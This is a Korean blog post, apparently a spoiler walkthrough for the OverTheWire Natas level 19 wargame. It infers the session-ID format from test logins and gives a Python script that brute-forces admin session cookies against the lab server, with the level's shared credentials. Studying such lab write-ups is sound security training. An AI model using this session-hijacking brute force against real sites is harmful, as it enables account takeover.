메뉴 건너뛰기

노루발의 개인 게시판

This page uses mostly the same code as the previous level, but session IDs are no longer sequential...

세션 아이디가 숫자로 되어있지 않다는 뜻인가보다. 임의의 아이디로 로그인해서 세션 아이디가 어떻게 되어있나 보자:


PHPSSID=3138362d


...?

일단 임의의 16진수 값으로 세션 아이디가 생성되는 것 같다.

임의의 값들을 ID/PW에 때려넣으면서 세션 아이디가 어떻게 생성되는지 유추해보자.

원래의 값에 띄어쓰기는 없지만 분석의 용이함을 위해 넣었음


31 38 36 2d -> ID/PW 둘다 입력안함


35 34 36 2d 31 ID 1 / PW 입력안함

35 31 38 2d -> ID 입력안함 / PW 1

33 37 36 2d 31 -> ID 1 / PW:1


2d 31 부분이 되풀이되는 것을 볼 수 있다. 31은 문자 1의 ascii code의 hex 값이다.


36 31 33 2d 32 -> 2 /

31 31 31 2d -> / 2

35 34 33 2d 32 -> 2 / 2


2d + ID를 ascii코드로 변환한 값이 표시되고 있다.


31 36 32 2d 31 31 -> 11 /

35 37 37 2d -> / 11

36 30 38 2d 31 31 -> 11 / 11


Password는 session 값에 영향을 끼치지 않는 건가?


34 37 33 2d 61 64 6d 69 6e -> admin /

36 35 2d -> /  admin

32 30 37 2d 61 64 6d 69 6e -> admin / admin

31 31 2d 61 64 6d 69 6e -> admin / 1

32 37 37 2d 61 64 6d 69 6e -> admin / !@#$%^&*()

35 39 39 2d 61 64 6d 69 6e -> admin / qwertyuiop

34 31 36 2d 61 64 6d 69 6e -> admin / long password

34 33 35 2d 61 64 6d 69 6e -> admin / the quick brown fox jumps over the lazy dog


로그인해야 하는 admin 계정에 여러가지 password들을 대입하여 패턴을 유추해보았다.

31 31 2d 61 64 6d 69 6e -> 가장 짧은 password (1) 의 세션값

34 33 35 2d 61 64 6d 69 6e -> 가장 긴 password (the quick brown...) 의 세션값


2d 앞의 값들에서 자주 표시되는 30~39 사이의 코드는 문자 0~9의 ascii code의 hex값이다.

따라서 임의의 숫자 + 2d + 계정 이름의 ascii code의 hex값으로 세션 아이디가 구성됨을 알아낼 수 있었다.


아래의 Python 코드를 사용하여 순차적으로 탐색하자:


import requests

session = 0

while True:
    session = session + 1
    tmp = str(session).encode("utf8").hex()

    cookie = {'PHPSESSID': tmp + "2d61646d696e"}
    r = requests.post('http://natas19.natas.labs.overthewire.org/index.php', auth=('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs'), cookies = cookie)
    print("Trying session no: " + str(session) + ":" + tmp)
    if "You are an admin" in r.text:
        print("******** FOUND IT******** ")
        print(r.text)
        break

분류 :
망한거
조회 수 :
14
등록일 :
2020.03.13
00:14:05 (*.47.15.90)
엮인글 :
게시글 주소 :
https://hondoom.com/zbxe/index.php?mid=noru&document_srl=818128
파일 첨부

여기에 파일을 끌어 놓거나 파일 첨부 버튼을 클릭하세요.

파일 크기 제한 : 0MB (허용 확장자 : *.*)

0개 첨부 됨 ( / )
옵션 :
:
:
List of Articles
번호 제목 글쓴이 날짜 조회 수
56 기행 제 68회 유라시아 비즈니스 인사이트 다녀왔습니다. file 노루발 2025-06-26 2
55 오토바이 노루발 오토바이 깔은 이야기 3일차~8일차 file 노루발 2023-10-12 49
54 오토바이 노루발 오토바이 깔은 이야기 1일차+2일차 [2] file 노루발 2023-10-11 98
53 오토바이 노루발 2종 소형 면허 따는 이야기 [4] 노루발 2023-09-21 35
52 기타 Holo house의 미니멀한 농장겜 요소들 노루발 2023-08-31 44
51 기타 부족전쟁 122 서버 아웃라인 secret 노루발 2021-07-25 1
50 오토바이 고속 찐빠 해결 / 윙카&포크부츠 교체 [2] file 노루발 2020-05-31 368
49 오토바이 오토바이 캬브레타 청소 [1] 노루발 2020-05-17 370
48 오토바이 NGK 점화플러그 품번에 따른 특성 [3] file 노루발 2020-05-07 99
47 망한거 (스포일러) Natas24 풀이 노루발 2020-03-19 48
46 망한거 (스포일러) Natas24 풀이 노루발 2020-03-17 19
45 망한거 (스포일러) Natas23 풀이 노루발 2020-03-13 16
44 망한거 (스포일러) Natas22 풀이 노루발 2020-03-13 10
43 망한거 (스포일러) Natas21 풀이 노루발 2020-03-13 13
42 망한거 (스포일러) Natas20 풀이 노루발 2020-03-13 16
» 망한거 (스포일러) Natas19 풀이 노루발 2020-03-13 14
40 망한거 (스포일러) Natas18 풀이 노루발 2020-03-12 9
39 망한거 (스포일러) Natas17 풀이 노루발 2020-03-12 16
38 망한거 (스포일러) Natas16 풀이 노루발 2020-03-12 18
37 망한거 (스포일러) Natas15 풀이 노루발 2020-03-11 21